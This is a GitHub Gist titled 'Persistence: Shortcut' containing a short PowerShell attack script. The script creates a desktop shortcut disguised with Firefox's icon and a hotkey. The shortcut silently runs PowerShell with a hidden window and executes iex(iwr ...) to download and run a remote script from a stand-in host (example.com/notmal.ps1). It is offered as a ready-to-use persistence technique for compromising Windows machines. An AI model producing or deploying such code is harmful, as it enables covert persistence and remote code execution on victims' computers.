Created
June 12, 2021 16:17
-
-
Save aniqfakhrul/9bfda024a35cfe2d0ad57e8f788c037c to your computer and use it in GitHub Desktop.
Persistence: Shortcut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$WshShell = New-Object -ComObject WScript.Shell | |
$shortcut = $WshShell.CreateShortcut("C:\Users\REUSER\Desktop\firefoxx.lnk") | |
$shortcut.TargetPath = "powershell.exe" | |
$shortcut.Description = "Totally Notmal" | |
$shortcut.HotKey = "F6" | |
$shortcut.IconLocation = "C:\Program Files\Mozilla Firefox\firefox.exe" | |
$shortcut.Arguments = "-windowstyle hidden iex(iwr -usebasicparsing http://example.com/notmal.ps1)" | |
$shortcut.save() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment